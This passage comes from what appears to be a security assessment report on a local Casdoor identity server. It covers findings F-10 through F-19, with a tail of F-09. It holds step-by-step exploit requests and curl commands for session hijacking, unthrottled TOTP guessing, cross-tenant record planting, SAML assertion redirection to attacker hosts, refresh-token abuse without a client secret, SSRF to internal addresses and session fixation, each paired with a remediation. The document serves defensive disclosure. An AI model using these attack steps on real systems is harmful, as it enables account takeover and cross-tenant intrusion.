Preconditions: TENANT_ALPHA_ADMIN (niro-alpha/admin) and STANDARD_ALICE (niro-alpha/alice) credentials; target <http://127.0.0.1:18000>. Step 1: log in as alice via POST /api/login, capturing her live casdoor_session_id cookie df75d9570367caad806c6b20286ef3be. Step 2: log in as tenant admin and call GET /api/get-sessions?owner=niro-alpha, whose response includes alice raw sessionId array containing that same value in cleartext. Step 3: from a fresh unauthenticated client, send GET /api/get-account with Cookie casdoor_session_id=df75d9570367caad806c6b20286ef3be and observe status ok with data.name alice, full authentication without her password. Without the stolen cookie the endpoint returns Please login first. Step 4: repeated the full cycle with a second fresh alice session id 29db984b1c59eade28bfa4a4d05c2d1d and reproduced the same takeover.

RECOMMENDED REMEDIATION

In controllers/session.go, the GetSessions handler, and sibling handlers GetSession and IsSessionDuplicated that call object.GetSessions(owner), stop returning raw sessionId values. The authz check in authz/authz.go IsAllowed correctly scopes org admins to their own org, so leave it as is. Fix the response DTO instead: before marshaling Session objects for GetSessions and GetSession, redact the sessionId slice, for example a hash or last 4 chars, or an active boolean, rather than the literal cookie value. Keep any internal id comparisons needed by IsSessionDuplicated server-side only.

F-10 [HIGH] No rate limiting or lockout on TOTP second-factor verification during login

AFFECTED TARGET

<http://127.0.0.1:18000>

BUSINESS IMPACT

An attacker who already has a victim's password (phished, reused, or brute-forced elsewhere) can submit unlimited TOTP guesses against the second-factor login step with no delay, CAPTCHA, or lockout, completely defeating the purpose of the second factor and reaching full account takeover.

REPRODUCTION STEPS

Preconditions: a Casdoor user in organization `niro-alpha`, application `app-niro-alpha`, with the correct password known to the attacker and TOTP MFA enabled. Reproduced independently against `STANDARD_BOB` (`niro-alpha/bob`) rather than the account referenced in the original notes, to avoid relying on pre-existing state.

1. Enable TOTP MFA on the victim account via self-service: `POST /api/mfa/setup/initiate` with form `owner=niro-alpha&name=bob&mfaType=app` (returns a base32 secret), then `POST /api/mfa/setup/enable` with `owner=niro-alpha&name=bob&mfaType=app&secret=<secret>&recoveryCodes=<uuid>`.
2. Complete the password step: `POST /api/login` (JSON) with `{"application": "app-niro-alpha", "organization": "niro-alpha", "username": "bob", "password": "<bob's real password>", "type": "login", "signinMethod": "Password"}`. Response: `{"status": "ok", "data": "NextMfa", ...}`, and the session cookie (`beegosessionID`) is now pinned to the pending-MFA state for bob.
3. Using the same session cookie, send repeated `POST /api/login` requests with an incrementing wrong 6-digit passcode and no username field, e.g. `{"application": "app-niro-alpha", "organization": "niro-alpha", "mfaType": "app", "passcode": "100000", "type": "login", "signinMethod": "Password"}`, then `100001, 100002, ...`. Every one of 20 consecutive wrong guesses returned HTTP 200 `{"status": "error", "msg": "totp passcode error"}` with no added latency, no CAPTCHA challenge, and no lockout message. Measured sustained throughput: 30 guesses in 0.22s (~138 attempts/sec) from a single unthrottled session with no concurrency.
4. Immediately after the failed attempts, in the same session, computed the real TOTP code for the enrolled secret and submitted it — it was accepted: `{"status": "ok", "data": "niro-alpha/bob"}`, proving the preceding failed guesses neither invalidated the pending-MFA session nor triggered any counter/lockout.
5. Repeated steps 2–4 a second time on the same account; identical result each time — unthrottled 200 responses on every wrong guess, followed by successful login on the correct code.

Expected secure behavior: the MFA verification step should apply the same kind of counter/lockout Casdoor already applies to password attempts (`object.CheckPassword` tracks `SigninWrongTimes` against `FailedSigninLimit` and freezes the account, in `object/check.go/object/check_util.go`), e.g. invalidate the pending-MFA session or lock the account after a small number of wrong passcodes.

Cleanup: called `POST /api/delete-mfa` with `owner=niro-alpha&name=bob&mfaType=app` after re-authenticating, confirmed via a fresh login that bob no longer has MFA enabled (password login alone now returns `"data": "niro-alpha/bob"`), restoring the account to its pre-test state.

RECOMMENDED REMEDIATION

In `controllers/auth.go Login()`, the `else if c.getMfaUserSession() != ""` branch (around line 1163) calls `mfaUtil.Verify(authForm.Passcode)` directly with no attempt counter. Apply the same protection used for passwords in `object/check.go` (`SigninWrongTimes / FailedSigninLimit`, `object/check_util.go`) to this branch: before calling `mfaUtil.Verify`, check and increment a wrong-attempt counter on the user (or on the pending-MFA session/cache entry keyed by `c.getMfaUserSession()`), and once it reaches `FailedSigninLimit` (or a comparably small MFA-specific limit) reject further passcode attempts and force the pending-MFA session to be invalidated (clear `c.getMfaUserSession()` / require a fresh password login), mirroring the existing frozen-time lockout applied to `CheckPassword`. Reset the counter on a successful `mfaUtil.Verify` the same way the password path resets `SigninWrongTimes` on success.

F-11 [HIGH] Tenant admin can plant permission/adapter/invitation records into another org via owner mismatch

AFFECTED TARGET

<http://127.0.0.1:18000>

BUSINESS IMPACT

A tenant admin who is authorized only within their own organization can write new permission, adapter, and invitation records — with attacker-chosen content, including database credentials for the adapter and a usable invitation code — directly into any other organization's namespace, without ever holding authorization on that organization.

REPRODUCTION STEPS

Preconditions: two organizations niro-alpha and niro-beta, each with a tenant admin (TENANT_ALPHA_ADMIN, identifier niro-alpha/admin; TENANT_BETA_ADMIN, identifier niro-beta/admin — neither is the global admin). The attacker only needs TENANT_ALPHA_ADMIN.

1. Log in as TENANT_ALPHA_ADMIN (POST /api/login with application=app-niro-alpha, organization=niro-alpha, username=admin, signInMethod=Password, type=login) and save the session cookie.
2. Confirm this admin has no authorization on the other org: GET /api/get-permissions?owner=niro-beta (and the adapters/invitations equivalents) with the alpha session return {"status":"error","msg":"Unauthorized operation"}.
3. Create a resource owned by niro-alpha, e.g. POST /api/add-permission with body {"owner":"niro-alpha","name":"alpha-perm-1", ...} → {"status":"ok","data":"Affected"}.
4. Send the update request with the id query parameter pointing at the attacker's own object (used for the authorization check) but the JSON body's owner field set to the victim organization (used for the actual DB write):

```
POST /api/update-permission?id=niro-alpha/alpha-perm-1
Cookie: <alpha admin session>
Content-Type: application/json
```

```
{ "owner": "niro-beta", "name": "alpha-perm-1", "displayName": "Moved Perm PLANTED", "description": "planted by attacker", "resourceType": "Application", "resources": [ "app-niro-alpha" ], "actions": [ "Read" ], "effect": "Allow", "isEnabled": true, "model": "niro-alpha/user-model-built-in" }
```

Expected secure response: rejection (403/"Unauthorized operation") because the request body targets a different organization than the one the caller administers. Observed vulnerable response:

{"status":"ok","data":"Affected"}. Logging in as TENANT_BETA_ADMIN and calling GET /api/get-permissions?owner=niro-beta returns the planted record {"owner":"niro-beta","name":"alpha-perm-1","displayName":"Moved Perm PLANTED", ...}, and GET /api/get-permissions?owner=niro-alpha (alpha session) now returns 0 records — the row's owner column was overwritten. 5. Repeat the identical technique against POST /api/update-adapter?id=niro-alpha/alpha-adapter-1 with body {"owner":"niro-beta","name":"alpha-adapter-1","type":"database","databaseType":"mysql","host":"evil.attacker.example","port":3306,"user":"pwned"} → "Affected". Beta admin's GET /api/get-adapters?owner=niro-beta now lists this adapter with the attacker-supplied host/user/password. 6. Repeat against POST /api/update-invitation?id=niro-alpha/alpha-invite-1 with body {"owner":"niro-beta","name":"alpha-invite-1","code":"EVILCODE","defaultCode":"EVILCODE","quota":999,"usedCount":0,"application":"app-niro-alpha","isEnabled":true} → "Affected". Beta admin's GET /api/get-invitations?owner=niro-beta now lists an invitation with the attacker-chosen code EVILCODE. 7. Re-ran steps 3–4 a second time with a fresh object (alpha-perm-2) and reproduced identically: "Affected", then confirmed present under niro-beta and absent under niro-alpha.

Root cause (from source, routers/authz_filter.go getObject() + object/permission.go, object/adapter.go, object/invitation.go): the authorization check derives the object owner from the id query parameter, but UpdatePermission/UpdateAdapter/UpdateInvitation execute ormer.Engine.ID(core.PK{owner, name}).AllCols().Update(<request body>), writing the request body's Owner field (part of the primary key) into the row without verifying it matches the id's owner. object/group.go (UpdateGroup) and object/role.go (UpdateRole) both contain an explicit oldObj.Owner != obj.Owner rejection for non-global-admins; permission, adapter, and invitation update paths lack this check.

RECOMMENDED REMEDIATION

In `object/permission.go UpdatePermission`, `object/adapter.go UpdateAdapter`, and `object/invitation.go UpdateInvitation`, add the same ownership-consistency check already used in `object/group.go UpdateGroup` (~L157) and `object/role.go UpdateRole` (~L102): after loading `oldPermission/oldAdapter/oldInvitation` via the id-derived `owner/name`, reject the update (return `false, fmt.Errorf(...)` or equivalent) when `permission.Owner != owner` (i.e. the request body's `owner` differs from the id's owner), unless the caller is a global admin. This must be enforced in the object-layer function itself (not just the router-level authz check), since that is the layer that performs the DB write using the body's PK values.

F-12 [HIGH] Signup endpoint lets any application plant users into arbitrary other organizations

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Anyone can create a user account inside any organization (other than `built-in`) by submitting a signup request that names an unrelated application, so the target organization's own signup restrictions (invite codes, CAPTCHA, IP allow-lists, or signup disabled entirely) are never enforced — only the unrelated application's rules apply.

REPRODUCTION STEPS

1. Identify any application scoped to an organization other than the one being targeted. Here, `app-niro-alpha` belongs to organization `niro-alpha`, and the target organization is `niro-beta`.
2. Send a signup request to the target with application set to the unrelated application and organization set to the victim organization:

```
curl -s -i -X POST http://127.0.0.1:18000/api/signup \
-H "Content-Type: application/json" \
-d '{"application":"app-niro-alpha","organization":"niro-beta","username":"crosstenant_verify1","password":"ScoutPass123!","confirmPassword":"ScoutPass123!"}'
```

3. Expected secure response: a properly-defended system rejects this because `app-niro-alpha.Organization (niro-alpha)` does not match the requested organization (`niro-beta`), analogous to how it rejects `organization=built-in`.
4. Observed vulnerable response (HTTP 200):

```
{"status":"ok","data":"niro-beta/crosstenant_verify1"}
```

The account `crosstenant_verify1` is created directly inside the `niro-beta` organization, gated only by whatever signup rules `app-niro-alpha` (a `niro-alpha` application) happens to have — not by any application belonging to `niro-beta`. 5. Reproduced a second time with a different username to rule out a fluke:

```
curl -s -i -X POST http://127.0.0.1:18000/api/signup -H "Content-Type: application/json" -d '{"application":"app-niro-alpha","organization":"niro-beta","username":"crosstenant_verify2","password":"ScoutPass123!","confirmPassword":"ScoutPass123!"}'
```

→ `{"status":"ok","data":"niro-beta/crosstenant_verify2"}` — succeeded identically. 6. Contrast: the same call with organization set to `built-in` is explicitly rejected ("adding a new user to the '`built-in`' organization is currently disabled..."), proving a special-cased guard exists only for `built-in` and no equivalent check exists for `niro-beta` or any other organization.

RECOMMENDED REMEDIATION

In `controllers/account.go` `Signup()`, after resolving both `application` (via `object.GetApplication("admin/"+authForm.Application)`) and `organization` (via `object.GetOrganization("admin/"+authForm.Organization)`), add a check before proceeding to create the user:

```
if application.Organization != authForm.Organization {  
    c.ResponseError(fmt.Sprintf("the application: %s does not belong to organization: %s",  
        application.Name, authForm.Organization))  
    return  
}
```

This binds the requested organization to the application's actual owning organization, so every organization's own applications (not just `built-in`) get the signup-gating (invitation codes, CAPTCHA, IP rules, disabled signup) they configured, instead of the caller being able to pick an arbitrary unrelated application to bypass those rules. Keep the existing `built-in` special-case check as-is since it addresses a distinct concern (global-admin protection); this new check should run alongside it, not replace it.

F-13 [HIGH] GET /api/get-subscription leaks any tenant's subscription records with no ownership check or authentication

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Any caller, including an unauthenticated visitor, who knows or guesses a subscription id (owner/name) can read another user's full subscription record — plan, pricing, period, start/end time, state, and linked payment name — across organization/tenant boundaries, with no login required.

REPRODUCTION STEPS

Preconditions: a subscription owned by tenant `niro-alpha`, user `alice` exists at id `niro-alpha/sub_vector_test_1786993397` (created via `GLOBAL_ADMIN` calling `POST /api/add-subscription` for this test — any subscription id works identically).

1. As same-tenant different user (`STANDARD_BOB`, `niro-alpha/bob`, logged in via `POST /api/login`), request:

```
GET http://127.0.0.1:18000/api/get-subscription?id=niro-alpha/sub_vector_test_1786993397
Cookie: <bob's session cookie>
```

Expected secure response: `{"status": "error", "msg": "Forbidden"}` (matching the behavior of `GetOrder/GetPayment` for a non-owner). Observed: HTTP 200 with `"status": "ok"` and the full record (user: `alice`, period: `Monthly`, state: `Active`, `startTime/endTime`, ...).

2. As a user in a completely different tenant (`TENANT_BETA_ALICE`, `niro-beta/alice`) with the same request — same result: HTTP 200, full record returned.
3. Fully unauthenticated (no cookies at all) with the same request — same result: HTTP 200, full record returned.

Each of the three cases was repeated twice with identical results (full record disclosed every time), confirming reproducibility.

Root cause (from `controllers/subscription.go, GetSubscription()`):

```
func (c *ApiController) GetSubscription() {
    id := c.Ctx.Input.Query("id")
    subscription, err := object.GetSubscription(id)
    if err != nil {
        c.ResponseError(err.Error())
        return
    }
    c.ResponseOk(subscription)
}
```

No `c.IsAdmin()` / owner-comparison check exists, unlike the sibling `GetOrder()` and `GetPayment()` handlers in the same package, which both do:

```
if !c.IsAdmin() {
    sessionUser := c.GetSessionUsername()
    sessionUserOwner, sessionUserName, err := util.GetOwnerAndNameFromIdWithError(sessionUser)
    ...
    if order != nil && (order.Owner != sessionUserOwner || order.User != sessionUserName) {
        c.ResponseError("Forbidden")
        return
    }
}
```

`authz/authz.go` also globally whitelists this route (`p, *, *, GET, /api/get-subscription, *, *`), same as `/api/get-order` and `/api/get-payment`, so the per-object check inside the handler is the only gate — and it is missing for subscriptions.

RECOMMENDED REMEDIATION

In `controllers/subscription.go`, `GetSubscription()`, add the same ownership check used by `GetOrder()`/`GetPayment()` in the same package before calling `c.ResponseOk(subscription)`:

```
func (c *ApiController) GetSubscription() {
    id := c.Ctx.Input.Query("id")

    subscription, err := object.GetSubscription(id)
    if err != nil {
        c.ResponseError(err.Error())
        return
    }

    if !c.IsAdmin() {
        sessionUser := c.GetSessionUsername()
        sessionUserOwner, sessionUserName, err := util.GetOwnerAndNameFromIdWithError(sessionUser)
        if err != nil {
            c.ResponseError(err.Error())
            return
        }
        if subscription != nil && (subscription.Owner != sessionUserOwner || subscription.User != sessionUserName) {
            c.ResponseError("Forbidden")
            return
        }
    }

    c.ResponseOk(subscription)
}
```

This also blocks the fully-unauthenticated case, since `c.GetSessionUsername()` returns empty for an unauthenticated request and `sessionUserOwner/sessionUserName` will fail to match any real subscription owner/user, matching how `GetOrder/GetPayment` already reject unauthenticated callers.

F-14 [HIGH] SAML IdP endpoint delivers signed assertions to attacker-supplied ACS URL, not the app's registered ACS

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

A user induced to complete a login carrying a crafted SAML request has their fully signed SAML assertion delivered to an arbitrary attacker-controlled URL, because the server validates only the request's Issuer, never the assertion-consumer URL. The assertion carries the victim's identity and personal data and can be replayed to impersonate them at a relying party that accepts it.

REPRODUCTION STEPS

Preconditions: application app-niro-alpha (org niro-alpha) has samlReplyUrl unset and redirectUris containing http://localhost:19001/callback, confirmed via GET /api/get-applications with credential GLOBAL_ADMIN.

1. Build a raw SAML AuthnRequest XML with Issuer set to the app's registered redirect URI and AssertionConsumerServiceURL set to an attacker endpoint https://evil.example.com/saml-acs, then base64-encode it as samlRequest.
2. POST http://127.0.0.1:18000/api/login with JSON body containing application=app-niro-alpha, organization=niro-alpha, username=alice, password of credential STANDARD_ALICE, signinMethod=Password, type=saml, samlRequest=the base64 value from step 1.
3. Expected secure behavior: server rejects the request or ignores the attacker-supplied AssertionConsumerServiceURL, sending the assertion only to the app's pre-registered ACS URL.
4. Observed vulnerable behavior: HTTP 200 with status ok, data2 containing redirectUrl https://evil.example.com/saml-acs, and data containing a base64 SAML Response whose Destination and Recipient both equal https://evil.example.com/saml-acs, signed with the app's real certificate, containing NameID alice and attributes Email niro-alpha-alice@example.test, Name alice, DisplayName Niro Alpha Alice.
5. Repeated with a second different attacker ACS URL https://attacker2.test/collect using the same Issuer, and observed identical behavior, confirming the result is deterministic.

RECOMMENDED REMEDIATION

Fix at the call site: object/saml_idp.go, function GetSamlResponse. It must stop trusting authnRequest.AssertionConsumerServiceURL from the request body when computing the response Destination and Recipient fields. Require every SAML application to have a fixed SamlReplyUrl configured, or validate the request-supplied ACS URL against application.RedirectUris using the existing IsRedirectUriValid helper already used to validate the Issuer. Fail the login with an error when SamlReplyUrl is empty and no registered URI matches, instead of falling back to the raw attacker-supplied AssertionConsumerServiceURL value.

F-15 [HIGH] Refresh-token grant issues new tokens for confidential OAuth client without validating client_secret

AFFECTED TARGET

http://127.0.0.1:18000

BUSINESS IMPACT

Anyone who obtains a confidential client's refresh token (stolen via a client-side script bug, log capture, insecure storage, or network intercept) can mint unlimited fresh access tokens for that user and app indefinitely — each valid up to 7 days and self-renewing — without ever needing the app's client_secret.

REPRODUCTION STEPS

Preconditions: confidential OAuth application app-niro-alpha (credential APP_NIRO_ALPHA_OAUTH, client_id=274544347bbb0f3a141e, real client_secret known only to the legitimate app backend), standard user niro-alpha/bob (credential STANDARD_BOB), target http://127.0.0.1:18000.

1. Log in as bob and obtain an authorization code for app-niro-alpha:

```
POST /api/login?clientId=274544347bbb0f3a141e&responseType=code&redirectUri=http://localhost:19001/callback&scope=openid&state=state123&nonce=nonce123
Body (JSON):
{"application":"app-niro-alpha","organization":"niro-alpha","username":"bob","password":"<STANDARD_BOB secret>","autoSignin":true,"type":"code","signinMethod":"Password"}
```

Response data field contains the authorization code.

2. Exchange the code for tokens using the real client_secret (normal legitimate step, establishes the refresh token an attacker would later steal):

```
POST /api/login/oauth/access_token
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&client_id=274544347bbb0f3a141e&client_secret=<APP_NIRO_ALPHA_OAUTH secret>&code=<code>&redirect_uri=http://localhost:19001/callback
```

Response 200 with access_token, id_token, refresh_token (expires_in=604800, i.e. 7 days).

3. Attacker step — call the refresh grant reusing only the refresh_token, with client_secret completely omitted from the body:

```
POST /api/login/oauth/refresh_token
Content-Type: application/x-www-form-urlencoded
grant_type=refresh_token&client_id=274544347bbb0f3a141e&refresh_token=<RT>&scope=openid
```

Expected secure behavior: 400 {"error":"invalid_client","error_description":"client_secret is required"} (or equivalent) since app-niro-alpha is a confidential client. Observed: HTTP 200 with a brand-new valid access_token/id_token/refresh_token triple. Decoding the returned access_token JWT payload shows "owner":"niro-alpha", "name":"bob", "aud":["274544347bbb0f3a141e"] — a fully authenticated token for bob, minted with zero proof of the client secret.

4. Repeated the exploit a second time using the newly rotated refresh_token from step 3 (again omitting client_secret) — again received HTTP 200 with a fresh valid token triple, confirming the flaw is reliably reproducible and chains indefinitely (each response includes a new refresh_token that can be replayed the same way).
5. Control/contrast check — same request but with an incorrect client_secret=not-the-real-secret-123 supplied: correctly rejected with HTTP 401 {"error":"invalid_client","error_description":"client_secret is invalid"}. This proves the secret is validated only when present, and is silently skipped when the parameter is simply absent from the request.

Root cause (object/token_oauth_util.go, RefreshToken, ~line 416):

```
if clientSecret != "" && application.ClientSecret != clientSecret {
    return &TokenError{Error: InvalidClient, ErrorDescription: "client_secret is invalid"}, nil
}
```

No PKCE/public-client exception is evaluated here (unlike the authorization_code path, which gates the missing-secret case behind token.CodeChallenge != ""), so any confidential-client refresh call with the secret parameter omitted bypasses authentication entirely.

RECOMMENDED REMEDIATION

In `object/token_oauth_util.go`, `RefreshToken`, require `client_secret` for confidential clients the same way the `authorization_code` path already does for PKCE. Determine whether the application is a public client (e.g. it was issued via PKCE — check `token.CodeChallenge != ""`, or add an explicit `application.ClientType == "public" / no-secret-configured` check), and only skip secret validation in that case:

```
isPublicClient := token.CodeChallenge != "" // or application.ClientType == "public"
if !isPublicClient {
    if clientSecret == "" {
        return &TokenError{Error: InvalidClient, ErrorDescription: "client_secret is required"}, nil
    }
    if application.ClientSecret != clientSecret {
        return &TokenError{Error: InvalidClient, ErrorDescription: "client_secret is invalid"}, nil
    }
}
```

This mirrors the existing `authorization_code` grant's handling and keeps public/PKCE clients working without a secret while closing the bypass for confidential clients on the refresh grant.

F-16 [HIGH] CAS proxy-ticket callback (pgtUrl) allows server-side request forgery to arbitrary internal hosts

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Any standard authenticated user in any organization can force the Casdoor server to open outbound HTTPS connections to arbitrary attacker-chosen internal hosts/ports (including cloud metadata endpoints), and can tell reachable from unreachable targets via the raw dial error reflected back — enabling internal network reconnaissance and blind request forgery from a trusted network component.

REPRODUCTION STEPS

Precondition: a valid standard-user credential in any organization on the target (used STANDARD_ALICE, identifier niro-alpha/alice) and its registered application app-niro-alpha with redirect_uri=http://localhost:19001/callback.

1. Obtain a fresh CAS service ticket by logging in as STANDARD_ALICE:

```
POST http://127.0.0.1:18000/api/login?service=http://localhost:19001/callback
Content-Type: application/json

{"application":"app-niro-alpha","organization":"niro-alpha","username":"alice","password":"<STANDARD_ALICE_SECRET>","signinMethod":"Password","type":"cas"}
```

Response: {"status":"ok","data":"ST-6003872709552381446", ...} — a fresh, unused service ticket.

2. Call the public CAS validation endpoint, supplying an attacker-chosen pgUrl pointing at an arbitrary loopback/internal host and port:

```
GET http://127.0.0.1:18000/cas/niro-alpha/app-niro-alpha/serviceValidate?service=http://localhost:19001/callback&ticket=ST-6003872709552381446&pgUrl=https://127.0.0.1:65533/ssrf-probe&format=json
```

Expected secure behavior: the server should reject or restrict pgUrl to an allow-listed/registered host (e.g. matching the application's redirect URI), and never surface raw internal connection-error text (host reachability, exact TCP-level error) to the caller.

Observed vulnerable response (HTTP 200):

```
{"Xmlns":"http://www.yale.edu/tp/cas","Failure":{"Code":"INVALID_PROXY_CALLBACK","Message":"Get \"https://127.0.0.1:65533/ssrf-probe?pgtId=PGT-...&pgtIou=PGTI0U-...\": dial tcp 127.0.0.1:65533: connect: connection refused"},"Success":null,"ProxySuccess":null,"ProxyFailure":null}
```

This proves the Casdoor server itself performed the outbound TCP connection to the attacker-supplied host:port and reflected the exact dial-level result back to the caller.

3. Repeated with two more fresh tickets (ST-8067823492860498145 targeting 127.0.0.1:65534, and ST-2706381738619822759 targeting 127.0.0.1:18000) — both produced the same pattern: a fresh server-initiated outbound connection attempt to the exact attacker-chosen address, with the raw dial result reflected in the JSON response, confirming reproducibility.

Only pgUrlObj.Scheme != "https" is validated in controllers/cas.go CasP3ProxyValidate; the host/port is otherwise unrestricted, so any RFC1918, loopback, or link-local target (including 169.254.169.254 cloud metadata) is reachable from the server.

RECOMMENDED REMEDIATION

In `controllers/cas.go`, before `CasP3ProxyValidate` issues `http.DefaultClient.Do(request)` against the caller-supplied `pgtUrl`, add host-level validation in addition to the existing scheme check:

1. Resolve `pgtUrlObj.Hostname()` and reject the request if the resolved IP falls in loopback, link-local (including `169.254.0.0/16`), or any RFC1918 private range, unless explicitly allow-listed.
2. Prefer validating `pgtUrl`'s host against the target application's registered redirect URI host(s) (already loaded for the `service` parameter check) rather than accepting any HTTPS host.
3. On failure, return a generic `INVALID_PROXY_CALLBACK` message without echoing the underlying `err.Error()` (which currently leaks raw `dial tcp ... connect` results distinguishing reachable vs unreachable internal targets) — log the detailed error server-side only.

Use Go's `net.LookupIP` plus a standard private-range check (or an existing internal SSRF-guard helper if one exists elsewhere in the codebase) before dialing, and apply it consistently across `serviceValidate`, `proxyValidate`, `p3/serviceValidate`, and `p3/proxyValidate`.

F-17 [HIGH] Session ID not rotated on login (session fixation) via /api/login

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Any party who can get a victim's browser to adopt a chosen ``casdoor_session_id`` value before login (e.g. by setting the cookie via a network position on this plaintext-HTTP deployment, a sibling subdomain, or a crafted link) inherits full authenticated access to the victim's account the moment the victim signs in, without ever learning the victim's password.

REPRODUCTION STEPS

Preconditions: fresh cookie-less client; valid credentials for STANDARD_ALICE (niro-alpha/alice) or STANDARD_BOB (niro-alpha/bob).

1. Fetch an unauthenticated session cookie:

```
curl -s -c jar.txt http://127.0.0.1:18000/api/get-account
```

Response: {"status":"error","msg":"Please login first",...}. The jar now holds Set-Cookie: casdoor_session_id=<PRE_ID> (e.g. 86107035403103e24b7dd037d0143801).

2. Using the SAME jar, authenticate as alice:

```
curl -s -b jar.txt -c jar.txt -X POST http://127.0.0.1:18000/api/login \
-H "Content-Type: application/json" \
-d '{"application":"app-niro-alpha","organization":"niro-alpha","username":"alice","password":"<STANDARD_ALICE_SECRET>","signinMethod":"Password","type":"login"}'
```

Response: {"status":"ok","msg":"","data":"niro-alpha/alice",...}.

3. Inspect the jar: casdoor_session_id is still 86107035403103e24b7dd037d0143801 — unchanged from step 1. A secure implementation would issue a new Set-Cookie: casdoor_session_id=<NEW_ID> on the login response.
4. Attacker proof: build a brand-new, independent cookie jar containing only the pre-auth ID captured in step 1 (simulating an attacker who fixated that value on the victim before login):

```
printf '127.0.0.1\tFALSE\t\tFALSE\t1789585623\tcasdoor_session_id\t86107035403103e24b7dd037d0143801\n' > attacker_jar.txt
curl -s -b attacker_jar.txt http://127.0.0.1:18000/api/get-account
```

Observed: {"status":"ok","sub":"niro-niro-alpha-alice","name":"alice","data":{"...alice's full profile including a live "accessToken" JWT...}} — the attacker's jar is now fully authenticated as alice, despite the attacker never knowing alice's password.

Reproduced twice: once with STANDARD_ALICE (pre-ID 86107035403103e24b7dd037d0143801, unchanged post-login, attacker jar granted alice's account) and once independently with STANDARD_BOB (pre-ID afac119ab805dc86c2daa415b6b27209, unchanged post-login) — consistent behavior both times.

RECOMMENDED REMEDIATION

In controllers/auth.go, the login-success branch (if form.Type == ResponseTypeLogin { c.SetSessionUsername(userId) ... }, ~line 150) sets the authenticated session identity onto the existing pre-auth session without rotating the session ID. The codebase already has the right primitive: ApiController.SessionRegenerateID() (defined in controllers/base.go) is called on logout (ClearUserSession, base.go:180) but never on login.

Fix: call `_ = c.SessionRegenerateID()` immediately before `c.SetSessionUsername(userId)` in the `ResponseTypeLogin` branch of `auth.go` (and any other post-authentication success paths that call `SetSessionUsername`, e.g. lines ~180, ~264, ~281, ~443, which cover MFA completion, SSO/social callbacks, and other login-adjacent success paths) so a fresh, unpredictable session ID is issued at the moment of authentication, invalidating any pre-auth ID an attacker may have fixated on the client.

F-18 [HIGH] Org-scoped tenant admin can invoke the global Casbin CLI command runner

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Any organization admin (any tenant, not just the platform's global administrator) can invoke the shared server's Casbin CLI runner with attacker-controlled arguments — including ``-m`/`-p``, whose values are written to temp files on the shared server and fed to an external CLI binary — a privilege escalation from tenant-scoped admin to server-operator-level capability with zero tenant scoping.

REPRODUCTION STEPS

Preconditions: credential `TENANT_ALPHA_ADMIN` (identifier `niro-alpha/admin`), an organization-scoped admin in tenant `niro-alpha` (`isGlobalAdmin=false`, `user.IsAdmin=true`) — not the platform's built-in global admin. Credential `STANDARD_ALICE` (identifier `niro-alpha/alice`) used as a non-admin control.

1. Log in as `TENANT_ALPHA_ADMIN`: `POST /api/login` with `{ "application": "app-niro-alpha", "organization": "niro-alpha", "username": "admin", "password": "<TENANT_ALPHA_ADMIN secret>", "signinMethod": "Password", "type": "login" }`; capture the session cookie.
2. Compute a self-signed request identifier client-side (no server secret is used, so any caller can do this): with `language=go`, `args=["--version"]`, and `t` = current UTC time in RFC3339 (e.g. `2026-08-17T12:00:00Z`), build `paramString = "args=[\"--version\"]&language=go"` (keys sorted alphabetically), then `rawString = "casbin-editor-v1|" + t + "|" + paramString`, and `m = sha256(rawString).hexdigest()`.
3. Send, using the `TENANT_ALPHA_ADMIN` session cookie from step 1:

```
GET /api/run-casbin-command?language=go&args=%5B%22--version%22%5D&m=<computed_hash>&t=<computed_timestamp>
```

Expected secure response: `{ "status": "error", "msg": "auth:Unauthorized operation" }` (same as a non-global-admin would get), because only the platform's global administrator should reach this handler.

Observed vulnerable response (repeated on two separate runs):

```
200 { "status": "error", "msg": "executable file: casbin-go-cli not found in PATH", ... }
```

This message is only emitted after passing both the `c.IsAdmin()` authorization gate and `validateIdentifier`, at the `exec.LookPath(binaryName)` call in `RunCasbinCommand` (`controllers/casbin_cli_api.go`) — i.e. the org-scoped tenant admin reached OS-command-execution code, blocked only by the CLI binary being absent from this environment's `PATH`, not by any access-control decision.

4. Control check: repeating step 3 with the `STANDARD_ALICE` session (non-admin user in the same tenant) returns `200 { "status": "error", "msg": "Unauthorized operation" }` — confirming demo mode is disabled and that the difference in outcome is caused solely by `user.IsAdmin=true` on the org-admin account, not by any tenant-scoping check.

RECOMMENDED REMEDIATION

In `controllers/casbin_cli_api.go`, `RunCasbinCommand` gates on `!conf.IsDemoMode() && !c.IsAdmin()`, and `c.IsAdmin()` (`controllers/base.go`) returns true for `isGlobalAdmin || user.IsAdmin`, i.e. any organization-scoped admin. Since this handler executes an OS binary on the shared application server with no owner/organization parameter at all, it must be restricted to the platform's global administrator only. Replace the guard with `if !conf.IsDemoMode() && !c.IsGlobalAdmin()`
`{ c.ResponseError(c.T("auth:Unauthorized operation")); return }` (the existing `IsGlobalAdmin()` helper already distinguishes built-in global admin from org admin, and is used this way elsewhere, e.g. `/api/enforce`'s `subOwner==objOwner` tenant checks). Also replace `validateIdentifier`'s unsecured hash with an HMAC keyed by a server-side secret (e.g. `beego.AppConfig` secret or session-bound token) so the "signature" cannot be computed by any client, since a stateless SHA-256 of public request fields provides no authentication value.

F-19 [HIGH] Unpaginated GET `/api/get-records` leaks every organization's audit trail to any org admin

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

An organization administrator who is only authorized to see their own tenant's audit/login records can instead read the complete platform-wide audit log — every organization's logins, source IPs, usernames, API calls, and identifiers referenced in other tenants' requests (including payment/order IDs) — by simply omitting pagination parameters from a request they are already authorized to make.

REPRODUCTION STEPS

1. Authenticate as an organization admin who is scoped to a single tenant (not the global built-in admin). Using credential `TENANT_ALPHA_ADMIN` (`niro-alpha/admin`), POST `/api/login` with body `{"application": "app-niro-alpha", "organization": "niro-alpha", "username": "admin", "password": "<TENANT_ALPHA_ADMIN secret>", "signinMethod": "Password", "type": "login"}`. Capture the returned `casdoor_session_id` cookie.
2. Call the unpaginated records endpoint with that session and no pagination query params:

```
curl -b "casdoor_session_id=<session>" "http://127.0.0.1:18000/api/get-records"
```

Expected secure behavior: response data contains only records where `organization == "niro-alpha"` (matching the caller's tenant), the same scoping the paginated variant applies.

